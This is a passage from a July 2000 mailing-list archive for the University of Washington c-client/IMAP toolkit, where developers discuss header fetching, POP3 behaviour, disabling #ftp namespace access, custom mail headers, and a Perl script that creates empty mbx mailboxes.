sniper.igw.kolumbus.fi (8.9.3/8.9.3) with ESMTP id CAA08437 for ; Fri, 28 Jul 2000 02:09:25 +0300 Message-Id: Date: Fri, 28 Jul 2000 02:09:25 +0300 (EEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jani Taskinen To: c-client@u.washington.edu Subject: mail_fetch_header() ignores FT_PREFETCHTEXT flag? No body text returned. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jani@sniper.igw.kolumbus.fi X-Authentication-Warning: sniper.igw.kolumbus.fi: jani owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have encountered the subject's problem with PHP4 Imap extension. It seems that even if FT_PREFETCHTEXT flag is passed, mail_fetchheader_full() doesn't return anything but the headers of an email without the body. Or have I misunderstood the use of FT_PREFETCHTEXT? Or is the body stored in some variable instead of returned straight when this function is called? --Jani -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 27 18:01:42 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jul 2000 18:01:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA01121 for ; Thu, 27 Jul 2000 18:01:41 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA30819; Thu, 27 Jul 2000 18:01:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA04611; Thu, 27 Jul 2000 18:01:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA40220 for ; Thu, 27 Jul 2000 18:00:34 -0700 Received: from europa.gatecom.com (IDENT:ptr@[209.69.204.245]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA07274 for ; Thu, 27 Jul 2000 18:00:27 -0700 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id VAA28050; Thu, 27 Jul 2000 21:25:08 -0400 Message-Id: <200007280125.VAA28050@europa.gatecom.com> Date: Thu, 27 Jul 2000 21:25:08 EDT Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: c-client@u.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 10.1.1.8 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 25 Jul 2000 17:24:08 +0900, Hollis Blanchard hollis@amulet.co.jp wrote: > I think I can live with that, but I just have one question: is this > method how "real" email clients download new mail? When I start up > Netscape Mail (which sadly is the best mail client I've found for my > needs), does it download all 400 messages from the server and just > ignore the ones it has already downloaded? A quick yes or no... POP3 does just what you described. Read about it at http://www.cis.ohio-state.edu/rfc/rfc1460.txt (I think that's current RFC as well as the current link). It may download the ones it's already downloaded, depends on what the client wants to do. The POP3 server will only delete 'em if it receives the DEL command from the client. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 27 22:45:43 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jul 2000 22:45:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA08328 for ; Thu, 27 Jul 2000 22:45:41 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA03562; Thu, 27 Jul 2000 22:45:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA09247; Thu, 27 Jul 2000 22:44:55 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA27718 for ; Thu, 27 Jul 2000 22:44:05 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA15753 for ; Thu, 27 Jul 2000 22:44:04 -0700 Received: from rider.edu (cc525993-a.ewndsr1.nj.home.com [24.18.103.213]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id BAA11386 for ; Fri, 28 Jul 2000 01:44:00 -0400 (EDT) Message-Id: <39811D40.34EAA3E3@rider.edu> Date: Fri, 28 Jul 2000 01:42:24 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: c-client@u.washington.edu Subject: How to get rid of #FTP and '.' files ??? MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------A300D4824F8FFB95B0963B34" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------A300D4824F8FFB95B0963B34 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I thought by taking phile out of the drivers would do it, but FTP still shows. Also, how to get rid of displaying '.' files ? TIA... --------------A300D4824F8FFB95B0963B34 Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------A300D4824F8FFB95B0963B34-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 27 23:29:32 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jul 2000 23:29:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA10899 for ; Thu, 27 Jul 2000 23:29:31 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA04301; Thu, 27 Jul 2000 23:29:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA22201; Thu, 27 Jul 2000 23:29:05 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA22026 for ; Thu, 27 Jul 2000 23:28:39 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA09002 for ; Thu, 27 Jul 2000 23:28:38 -0700 Received: from rider.edu (cc525993-a.ewndsr1.nj.home.com [24.18.103.213]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id CAA14427 for ; Fri, 28 Jul 2000 02:28:33 -0400 (EDT) Message-Id: <398127AE.59461F41@rider.edu> Date: Fri, 28 Jul 2000 02:26:54 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: c-client@u.washington.edu Subject: Re: How to get rid of #FTP and '.' files ??? References: <39811D40.34EAA3E3@rider.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Never mind about ftp... The code is right under the area to fix the default imapmail directory (There's a check if it's NOT closedBox then enable ftp imappublic and imapshared). env_unix.c I still need help to disable '.' files... TIA. Ricardo Stella wrote: > > I thought by taking phile out of the drivers would do it, but FTP still > shows. > > Also, how to get rid of displaying '.' files ? > > TIA... From pinedev@shivax2.cac.washington.edu Fri Jul 28 02:38:57 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jul 2000 02:38:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA19880 for ; Fri, 28 Jul 2000 02:38:54 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA07478; Fri, 28 Jul 2000 02:38:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA12195; Fri, 28 Jul 2000 02:38:20 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA47262 for ; Fri, 28 Jul 2000 02:37:35 -0700 Received: from morgan.inet.lt (morgan.inet.lt [193.220.64.5]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA21213 for ; Fri, 28 Jul 2000 02:37:29 -0700 Received: from ray (ray.inet.lt [193.220.64.9]) by morgan.inet.lt (8.10.2/8.10.2) with SMTP id e6S9Y3L04448; Fri, 28 Jul 2000 11:34:03 +0200 Message-Id: <005301bff877$a232d420$0940dcc1@inet.lt> Date: Fri, 28 Jul 2000 11:38:48 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Martynas" To: "Ricardo Stella" Cc: Subject: Re: how to disable #ftp access through imap? References: <004501bff7d9$97ce3220$0940dcc1@inet.lt> <39806DEB.58D38806@rider.edu> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There is no driver named as "ftp" in DEFAULTDRIVERS. There is only nntp, but not ftp :((( Martynas Bieliauskas ----- Original Message ----- From: "Ricardo Stella" To: "Martynas" Cc: Sent: Thursday, July 27, 2000 7:14 PM Subject: Re: how to disable #ftp access through imap? > > Your best bet is to disable the driver... > > You can do it by hacking the Makefile in ./src/osdep/unix and removing > the driver... > > Look for 'DEFAULTDRIVERS=...' and remove the ones you would not use (ie > ftp, nntp) > > But try at your own risk, since it's not supported ! > > Martynas wrote: > > > > I would like to disable to access #ftp files for my imap users. How to do > > that? I tried to set in /etc/c-client.cf line like: > > set ftp-export-directory "/dev/null" > > but it doesn't work. > > > > How to disable?? > > Thank You > > > > Martynas Bieliauskas > > > > -- > > ------------------------------------------------------------------ > > For information about this mailing list, and its archives, see: > > http://www.washington.edu/imap/c-client-list.html > > ------------------------------------------------------------------ > > -- > ------------------------------------------------------------------ > Ricardo Stella O.I.T. > (609)896-5000 x7436 _suAve_ Rider University > *** Remove 'no-spam' from e-mail address before replying. *** From pinedev@shivax2.cac.washington.edu Fri Jul 28 07:15:47 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jul 2000 07:15:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA23329 for ; Fri, 28 Jul 2000 07:15:46 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA03143; Fri, 28 Jul 2000 07:15:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA27720; Fri, 28 Jul 2000 07:14:31 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA26958 for ; Fri, 28 Jul 2000 07:13:49 -0700 Received: from centonline.com (mail.centonline.com [204.238.52.24]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA31278 for ; Fri, 28 Jul 2000 07:13:44 -0700 Received: from cvis0.centonline.com (cvis0.centonline.com [204.238.52.4]) by centonline.com (8.8.8/8.8.8) with ESMTP id IAA08399; Fri, 28 Jul 2000 08:26:15 -0500 Message-Id: Date: Fri, 28 Jul 2000 02:15:08 -0500 (CDT) Reply-To: wsuetholz@centonline.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: wsuetholz@centonline.com To: John-Paul Robinson Cc: c-client@u.washington.edu, Greg Copeland Subject: Re: Misc header values In-Reply-To: <3979FDF7.E472CD24@mindspring.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: bill@cvis0.centonline.com X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Well back in Sept of 1998, I posted a question about this, and Karsten Ballueder responded that he had patches to allow arbitrary headers to be added. I didn't really like the way he did it, so I did my own patches. Which I never posted... I also don't like the way that pine does it, with replacing whole functions that really should be in the library, and could be, if this capability was added.. Karsten Ballueder is one of the people working on the Mahogany mail client which uses WxWindows and C-Client to do it's stuff. You might want to look in the archives for that period to see if you can find the entire thread.. The subject on my message was "C-Client API Documentation?" Bill Suetholz On 22-Jul-00 John-Paul Robinson wrote: > >> I'm currently using c-client to create a mail client. I was hoping that >> someone could tell me if there is a mechanism to create arbitrary header >> text inside of rfc822 header space? Specifically, I'd like to be able to do >> return receipts as well as add X-Mailer and X-WhatEverIWant entries as I see >> fit. Feedback welcome here. > > While I'm not sure if this is the only way to do it, you can look to the > send.c file in the pine distribution for an example. rfc822_output() > normally calls rfc822_headers() to construct the header from the > ENVELOPE, however, rfc822_headers() only supports the fields in the > ENVELOPE. In order to include extra headers you can redefine > rfc822_ouput() with the SET_RFC822OUTPUT function of mail_parameters(). > > This is what pine's call_mailer() routine does before invoking > rfc822_output() via smtp_open(). Pine's version of the output function > is post_rfc822_output() which calls pine_rfc822_output() with a METAENV > structure that contains both the c-client ENVELOPE and Pine-specific > header lines. The function pine_rfc822_output() calls > pine_rfc822_header(), which processes Pine's headers. > > >> What about fetching misc. values from the >> header? > > I think you want to use mail_fetch_header(). It returns a string (and > it's size) that contains the full header of the message. You can also > pass a list of header lines you want and the function will only return > those to you. > >> Also, I've browsed around on the web site and didn't really see >> much in the way of documentation. Is there a good place to fetch >> documentation on c-client's use (internal and external functions)? >> > > I believe, right now, it's still read the RFCs for the relevant parts of > the library functions, read the internal.txt document (understanding > that some minor discrepancies exist), and then read the code. The file > mail.c is pretty straight forward once you get familiar with the data > structures. Also, Pine provides some good examples on how to use the > toolkit library functions. > > There's a book coming out in August from O'Reilly titled "Managing > IMAP". I've only see the links to it on Fat Brain, and O'Reilly has > some data on it. Mark has mentioned a book by Kevin Johnson in the past > that covers a bunch of the protocols on Internet messaging, it's titled > "Internet Email Protocols: A Developer's Guide." I've seen this at the > book store but haven't read it. > > Hope this stuff helps, > > John-Paul ---------------------------------- E-Mail: wsuetholz@centonline.com Date: 28-Jul-00 Time: 02:09:03 This message was sent by XFMail ---------------------------------- From pinedev@shivax2.cac.washington.edu Fri Jul 28 09:16:01 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jul 2000 09:16:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA06855 for ; Fri, 28 Jul 2000 09:16:00 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA06482; Fri, 28 Jul 2000 09:15:58 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA19876; Fri, 28 Jul 2000 09:14:24 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA124548 for ; Fri, 28 Jul 2000 09:12:33 -0700 Received: from helen.pcbeacon.com ([146.101.249.181]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA04268 for ; Fri, 28 Jul 2000 09:12:26 -0700 Received: from inky.modulo.org (incubus-lake.rorap.com [205.244.126.6]) by helen.pcbeacon.com (8.9.3/8.9.3) with ESMTP id RAA21165 for ; Fri, 28 Jul 2000 17:05:17 +0100 Received: (from jargon@localhost) by inky.modulo.org (8.9.3/8.9.3) id IAA01584 for c-client@u.washington.edu; Fri, 28 Jul 2000 08:17:02 -0400 Message-Id: <20000728081702.A1535@modulo.org> Date: Fri, 28 Jul 2000 08:17:02 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ben H Kram To: c-client@u.washington.edu Subject: creating mbx Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 67 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm using the perl interface to c-client, not sure if this is the best place to as this question, so I'll apologise if this is inappropriate. I've build c-client.a with mbx as the default creation mailbox type. I set CREATEPROTO=mbx in the Makefile. I haven't figured out how to create a new object without an existing mailbox, so for now I do: $c = Mail::Cclient->new($exists) or print LOG "new: $!\n"; $exists is a regular old mbox, (I don't have any mbx's hanging around.) That works fine. Then I do: $c->create($mb) or print LOG "create[$mb]: $!\n"; $mb is a file that doesn't exist, and is in the same dir as $exists. I would like this to exist so I can append() a message to it. I get: create[/path/to/spool/test2]: Bad file descriptor Thanks for any wisdom in advance. Ben -- "Aha," it thought. "So /that's/ how it is!" So it stopped rolling... -The Missing Piece, Shel Silverstein -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 28 10:34:17 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jul 2000 10:34:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA16229 for ; Fri, 28 Jul 2000 10:34:15 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA18947; Fri, 28 Jul 2000 10:34:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA06065; Fri, 28 Jul 2000 10:32:33 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA143536 for ; Fri, 28 Jul 2000 10:31:42 -0700 Received: from twinlark.arctic.org (twinlark.arctic.org [204.107.140.52]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id KAA30413 for ; Fri, 28 Jul 2000 10:31:42 -0700 Received: (qmail 14481 invoked by uid 1298); 28 Jul 2000 17:31:41 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 28 Jul 2000 17:31:41 -0000 Message-Id: Date: Fri, 28 Jul 2000 10:31:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jauder Ho To: Ben H Kram Cc: c-client@u.washington.edu Subject: Re: creating mbx In-Reply-To: <20000728081702.A1535@modulo.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jauderho@twinlark.arctic.org X-There-Is-No-Hidden-Message-In-This-Email: There are no tyops either X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Here's a script I wrote to create an empty mbx file. #!/usr/bin/perl # # creatmbx # # The perl way to creating a mbx format mailbox. # # Double check output by using od on file. # Vars grokked from reading source files. my $NUSERFLAGS = "30"; my $HDRSIZE = "2048"; my $string; # Check args die "ERROR: creatmbx \n" unless ($#ARGV == 0); # Ported from imap/src/osdep/unix/mbx.c open(FILE,"> $ARGV[0]"); $string = sprintf ("*mbx*\015\012%08lx00000000\015\012", time); for ($i = 0; $i < $NUSERFLAGS; ++$i) { $string .= sprintf "\015\012"; } # Pad the rest of the file with nulls as expected $string = unpack("a${HDRSIZE}", pack("a${HDRSIZE}","$string")); print FILE $string; close(FILE); # The End. From pinedev@shivax2.cac.washington.edu Fri Jul 28 10:39:15 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jul 2000 10:39:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA28939 for ; Fri, 28 Jul 2000 10:39:13 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA09108; Fri, 28 Jul 2000 10:39:11 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA06265; Fri, 28 Jul 2000 10:37:36 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA128500 for ; Fri, 28 Jul 2000 10:37:10 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA05617 for ; Fri, 28 Jul 2000 10:37:09 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id NAA10927; Fri, 28 Jul 2000 13:37:01 -0400 (EDT) Message-Id: <3981C4C1.8817B177@rider.edu> Date: Fri, 28 Jul 2000 13:37:05 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: Jauder Ho Cc: c-client@u.washington.edu Subject: Re: creating mbx References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------EB99D4E4DC4356E7EED5E50F" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------EB99D4E4DC4356E7EED5E50F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Now that I think about it... Don't you need EMPTYPROTO=mbx ??? Jauder Ho wrote: > > Here's a script I wrote to create an empty mbx file. > > #!/usr/bin/perl > # > # creatmbx > # > # The perl way to creating a mbx format mailbox. > # > # Double check output by using od on file. > > # Vars grokked from reading source files. > my $NUSERFLAGS = "30"; > my $HDRSIZE = "2048"; > my $string; > > # Check args > die "ERROR: creatmbx \n" unless ($#ARGV == 0); > > # Ported from imap/src/osdep/unix/mbx.c > open(FILE,"> $ARGV[0]"); > $string = sprintf ("*mbx*\015\012%08lx00000000\015\012", time); > > for ($i = 0; $i < $NUSERFLAGS; ++$i) { > $string .= sprintf "\015\012"; > } > > # Pad the rest of the file with nulls as expected > $string = unpack("a${HDRSIZE}", pack("a${HDRSIZE}","$string")); > > print FILE $string; > close(FILE); > > # The End. -- ------------------------------------------------------------------ Ricardo Stella O.I.T. (609)896-5000 x7436 _suAve_ Rider University *** Remove 'no-spam' from e-mail address before replying. *** --------------EB99D4E4DC4356E7EED5E50F Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------EB99D4E4DC4356E7EED5E50F-- From pinedev@shivax2.cac.washington.edu Fri Jul 28 10:50:19 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Jul 2000 10:50:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA27486 for ; Fri, 28 Jul 2000 10:50:17 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA19366; Fri, 28 Jul 2000 10:50:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA06548; Fri, 28 Jul 2000 10:48:26 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA53822 for ; Fri, 28 Jul 2000 10:43:07 -0700 Received: from helen.pcbeacon.com ([146.101.249.181]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA30559 for ; Fri, 28 Jul 2000 10:42:58 -0700 Received: from inky.modulo.org (incubus-lake.rorap.com [205.244.126.6]) by helen.pcbeacon.com (8.9.3/8.9.3) with ESMTP id SAA22096; Fri, 28 Jul 2000 18:35:43 +0100 Received: (from jargon@localhost) by inky.modulo.org (8.9.3/8.9.3) id NAA01863; Fri, 28 Jul 2000 13:42:42 -0400 Message-Id: <20000728134242.A1749@modulo.org> Date: Fri, 28 Jul 2000 13:42:42 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: b To: Ricardo Stella Cc: Jauder Ho , c-client@u.washington.edu Subject: Re: creating mbx In-Reply-To: <3981C4C1.8817B177@rider.edu>; from stella@rider.edu on Fri, Jul 28, 2000 at 01:37:05PM -0400 References: <3981C4C1.8817B177@rider.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 68 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, Jul 28, 2000 at 01:37:05PM -0400, Ricardo Stella wrote: > Now that I think about it... Don't you need EMPTYPROTO=mbx ??? Thanks for the script... In c-client/Makefile it says.. # ...since they do not exist in the default namespace. Also, it is meaningless to # set certain other formats (e.g. mbx and mx) as the EMPTYPROTO since these # formats can never be empty files. So I'm not sure I 